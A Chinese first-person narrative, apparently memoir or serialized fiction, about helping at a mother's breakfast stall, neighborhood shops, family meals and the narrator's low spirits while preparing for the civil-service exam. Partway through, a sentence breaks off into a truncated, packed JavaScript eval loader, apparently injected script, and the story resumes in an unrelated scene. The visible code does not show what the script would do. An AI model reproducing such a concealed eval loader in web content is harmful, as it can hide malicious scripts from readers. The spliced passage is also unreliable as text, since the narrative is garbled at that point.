这话对也不对,我不欲和她争辩。之前只是听她在电话里嫌弃别的员工手脚不利索,而店里的货架时不时就要颠倒一番,冰柜的位置也常常更换。这人也是个事儿精,我在心中总结。 前些日子,便利店的柜台摆了个烤箱,里面放些蛋挞啥的。烤箱旁边,还有个烤肠机,就是滚的时间长了,香肠看着干了吧唧,颜色也深,都不知道是哪些人在买。结账的时候,收银员还在推销:“要不要尝下蛋挞?味道还不错。” 我摇摇头。“卖不完怎么办?”我问道。 “还不是员工买。”她亦无奈。 随着烤箱一起出现的,还有超市的自有品牌。一开始,只是鲜牛奶和NFC果汁,因着价格实惠,我还买过几回。之后到店买白糖,除了自有品牌,居然没有其他选项。这就值得玩味了。在那之后,我减少了去便利店的次数。 小五的时候吧,商业街街角商店的老板儿子接手了店铺,里里外外重新装修,向城里的商超看齐,条码货架一应俱全。那个时候,就算不买东西,只逛一逛,吹上一会冷气,都觉得新鲜。 原先街上有两家乐派超市,单元楼对面那家去年关门了,后来还在街角这家看到过眼熟的店员。我最开始留意到这家店,是蜂蜜的价格。三百五十克的冠生园尖嘴蜂蜜,便利店要三四十块,可乐派的售价不足二十。至于规格为一千克的,乐派家才要三十多块,够我喝上许久。乐派超市还卖椰子水,单瓶六元,整箱还让利五毛,这价格,网上的旗舰店都做不到。这让我感受到久违的人情味。 除去酱油,我还在乐派买土鸡蛋。 超市的一侧,每天早上,都有配钥匙的老人骑着电动三轮摆摊,他也接修伞和补鞋的活。老人腿脚不便,每隔一天,还未把车子停上路沿,就会大声喊我:“小美女,给我拿个面窝!” “好,一会给您送过去。” 手头不忙,我把火调小,将面窝送了过去。有时,还得怹再提醒一次。 他在铁盒里翻找,略带歉意地和我说:“给你三个五毛,可不可以?” “没关系,正好有时候我还找不开呢!” “谢谢啊!”他老人家格外客气。 “没事!”我回道。 在街边卖面窝,我才知道什么叫众口难调。有人喜欢炸得枯一些的,我便把颜色较深的拿给她;有人牙口不行偏偏又好这口,我便打包看起来更蓬松的。有人建议往面窝里加点蒜末,由于闻所未闻,听听也就算了。可是,不止一个人提到面窝没味。大舅妈六点不到上街替外婆拿面窝,我便随口问了一句。 “家家觉得味道怎么样?” “她还蛮喜欢吃咧!这不,一醒来就要我给她拿面窝。” 早上,又有顾客抱怨面窝没味道,恰好妈妈站在一旁。 “已经好几个人这么说了。”我和她提及。 “今天这个说咸,明天那个说淡,我听哪个的咧?” “你要是愿意,自己每天尝一下咧!” 我心想,也不是不行。 面窝回锅之后,就没得看相。刚出锅的时候没人买,架子上堆满了,便更难卖得出去。有些顾客买了面窝拿回家吃,冷了也不在意。也有顾客想吃热的,看着沥油架上的面窝,竟然直接伸手试温度。第一回,那人走后,我把碰过的面窝装起来扔掉,第二次,才事后阻止。 “您用手碰了又不买,再哪个买这个咧!”那人装作没听见,往自己家走去。 再次把面窝夹出来放到一旁,妈妈正好看见。 “你要扔我也不说什么,可你不能当面指出别人的错处,知不知道?” “上门就是客,门开着是要做生意的,你把人都得罪光了,再哪个来咧!” 对面药房东家的儿子常来店里光顾,有时吃碗凉面,有时来份豆皮。他身材板正,常穿短袖衬衫和短裤。同样长得不高,较之钱鹄,肩膀却宽出许多,手腕系着一根红绳,常把小号智能手机把在手中。他每天七点半之后才骑着电动车到店,晃晃悠悠进去,不多时,又来店里买早餐。 “涛涛,豆浆自己拿啊!” 这句话,妈妈每次都不落。 “他们家在小区,两个门各有一家店。” “他妈妈能干呐!药房刚兴起的那几年,一面盘店,一面劝屋里几个年轻伢去考药剂师资格证。” “你晓不晓得这个证现在有多吃香?杉湖的药房关了一大片,就是因为没有这个证。”对面有两家药房,另一家的门前,现在还挂着招聘持证药剂师的大字报。 “对面那家店,用的就是涛涛表姐的证。” 闲聊时,妈妈和我提起过。 “还是加几滴藤椒油?”她问向那人。 “嗯!”说着,他自行取了豆浆。 托他的福,药房的其他店员也来店里光顾。 “我们店的少东家老夸你们家的凉面好吃,一个劲地给我们推荐。” “我也来尝一下是个什么味道。”来人穿着拖鞋,长得白白胖胖,一脸福相。 “哎哟,涛涛他吃面,就是要加我们店的藤椒油。” “给你也加点?”妈妈问道。 “吔,我不吃这个。给我下碗拌面吧!”那人说道。 妈妈得空,就坐在隔壁,或者和人聊天,或者刷短视频,面窝炸完,我就上来帮着煮面。 “面条煮软一些啊!”那人嘱咐道。 店里用的双缸自动煮面炉,不过,妈妈单开一缸,一次最多煮三篓面。每个篓位设置相同的定时时间,沉下面篓后,按下对应的装置,时间到了,会有提示音,装置也会再次升起。 胖店员嘱咐要把面条煮软些,提示音响起,我把面篓在缸里荡了数下,妈妈见状,却责怪起我。 “煮好了就直接装碗,有个什么好荡的!” 加汤时,一勺不定拌得开,我就多加了半勺。妈妈在一旁看得不耐烦,从我手上接过碗面,倾斜着确认水量,再次开口:“做事麻利点啊!” “我跟你拌好啊!”她柔声和胖店员说道,把面倒入凉面的盆里,拌了起来。 我已经习惯,按下心中忿忿,往屋外走去。 “小翕,过来,把这碗面送到便利店去。”她再次使唤我。 “好!” 便利店没什么顾客,柜台后面的那人亦是常见的面孔。 “哎哟,还特意让你送过来,我下回一起给啊!” 我点点头,回到店里。 “那人给钱了吗?”妈妈问道。 “没有。她说下回一起给。” “哪里有下回,还不是叫她赖了。” “我是想要不然我去送,这点小事你都做不好!”妈妈反倒埋怨起了我。 “那我去要钱咧!” “算了吧,多一些事!再记得,脑子放灵光下,下回记得要!” 过了八点,已没有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还是煨的鸡汤,不过今天的荤菜是红烧排骨。我夹了好几筷子凉拌黄瓜丝,爽口,微甜。大舅妈特意买的白醋,色香味俱全。吃完饭,我喝了小半碗热汤,并几块萝卜,这餐饭吃得胃很是舒服。不止是不用自己做,满桌的菜,虽然不是每一样都爱吃,可有得选,有荤有素,所花费的功夫,让这餐饭相当珍贵。以前,我还有心情给自己做饭,可如今,我已经没有全心全意照顾他人的心情了。 吃完饭,见池子里还有一双碗筷,想必是妈妈的。抹布铺开在水池一边,筷笼架在洗碗池和墙壁窄小的缝隙间。我挤了一泵洗涤精,兑水涂抹在餐具上,冲净后归入沥水盒。 我一齐洗净归位。 回到家,我久违地给自己泡了杯毛尖,头脑也比较清醒。我又给自己冲了杯丹参,隐隐担忧是否会对心脏有刺激。 我能理解有营养的食物可以起到滋补身体的作用,比如萝卜,比如冬天吃的牛羊肉。可丹参如何算作营养,我不太想象得到。 妈妈买来调理月经的药,由于尿频的缘故,越往后,冲剂里的水加得越少。可药吃完了,现在每天只生脉饮和丹参片,尿频的症状并未好转,每回睡觉前,总要跑好多趟卫生间,不到尿不出来的地步,甚至放不下心来。若说是喝中药的缘故,可生脉饮一支不过十毫升。在这之前,我不曾尿频过。想来想去,觉得更可能是心理因素,可我心里只对考试有些担忧,也只是担忧。 我不知道内心烦闷的情绪由何而来,也没有足够的心力与之周旋,只能坐井观天,听天由命,想着捱过一时,也是一个可以为之应对之道。 大部分时间,我都是一个想到什么就去做的人,更早的时候,洗衣做饭这类家务,就像开胃菜一样。可如今,没有一样不叫我心累。所谓心力,到底是什么样的东西呢?我想,雷厉风行不拖延,大抵是心力极强的一种表象。 之前得空的时候,我看过一些不错的动漫,比如《摇曳露营》和《孤独摇滚》。我喜欢志摩凛,她一个人去露营,安全的话,也不觉得有什么。组乐队于后藤独是人生的开拓,这与她一人在家练琴并不冲突。我很喜欢这两部动漫,就是与当时的心境不符,便想着生活节奏慢下来再看更合宜。 回顾自己现在的生活,虽然有了时间,却觉得很是漫长。学习嘛,不管怎样,人都得坐在书桌前看书。可其他的事情,不是不能做,却没什么想去做。倒也不在意没有具体想要做的事,而是在思忖,如何培养对某件事的干劲。这样本末倒置的想法,自然不了了之。 总之,我还没有废,当前的目标锁定为考公。至于积攒心力,我只能想到不拖延,因为,拖着不做的决定,势必会对人产生消耗。我没有长久的动力,我只想着,至少过好今天。 对于心脉受损,这么一个中二的词,却让人找不到比之更合适的词语来描述我目前的状态。相比重拾爱好,我更愿意干一些让自己能感受到轻松的事情,比如打游戏。可我玩游戏太菜了,《霍格沃茨之遗》卡在某个教学关卡,就再也过不去了。对于组合技能,我只会一通瞎按,多次尝试后,就不想继续了。我以为我会喜欢《啪嗒砰》,玩了几局,却意兴阑珊。